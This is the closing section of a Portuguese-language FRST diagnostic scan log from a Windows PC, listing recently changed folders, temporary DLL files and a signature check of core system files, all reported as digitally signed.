2016-06-10 18:38 - 2015-12-09 18:43 - 00000000 ____D C:\Users\Nilma\.aria2
2016-06-10 18:18 - 2015-12-09 18:13 - 00000000 ____D C:\Users\Nilma\Documents\LevelUp Data
2016-06-10 18:07 - 2015-12-09 17:20 - 00000000 ____D C:\Users\Nilma\AppData\Local\Deployment
2016-05-29 23:06 - 2015-11-08 14:29 - 00000000 ____D C:\Users\Nilma\Desktop\Pasta de Iris
2016-05-23 15:58 - 2015-12-12 11:46 - 00797376 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2016-05-23 15:58 - 2015-12-12 11:46 - 00142528 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl

==================== Arquivos na raiz de alguns diretórios =======

2016-05-01 20:18 - 2016-05-03 17:46 - 0001304 _____ () C:\Users\Nilma\AppData\Roaming\droid4xinstaller.log

Alguns arquivos em TEMP:
====================
C:\Users\Nilma\AppData\Local\Temp\cdo1706163319.dll
C:\Users\Nilma\AppData\Local\Temp\cdo1826646185.dll
C:\Users\Nilma\AppData\Local\Temp\cdo2540532231.dll
C:\Users\Nilma\AppData\Local\Temp\cdo271214214.dll
C:\Users\Nilma\AppData\Local\Temp\libeay32.dll
C:\Users\Nilma\AppData\Local\Temp\msvcr120.dll
C:\Users\Nilma\AppData\Local\Temp\sqlite3.dll
C:\Users\Nilma\AppData\Local\Temp\vcredist_2015_Update_1_x86.exe


==================== Bamital & volsnap =================

(Não há correção automática para arquivos que não passaram na verificação.)

C:\Windows\explorer.exe => O arquivo é assinado digitalmente
C:\Windows\system32\winlogon.exe => O arquivo é assinado digitalmente
C:\Windows\system32\wininit.exe => O arquivo é assinado digitalmente
C:\Windows\system32\svchost.exe => O arquivo é assinado digitalmente
C:\Windows\system32\services.exe => O arquivo é assinado digitalmente
C:\Windows\system32\User32.dll => O arquivo é assinado digitalmente
C:\Windows\system32\userinit.exe => O arquivo é assinado digitalmente
C:\Windows\system32\rpcss.dll => O arquivo é assinado digitalmente
C:\Windows\system32\dnsapi.dll => O arquivo é assinado digitalmente
C:\Windows\system32\Drivers\volsnap.sys => O arquivo é assinado digitalmente


LastRegBack: 2016-06-17 21:17

==================== Fim de FRST.txt ============================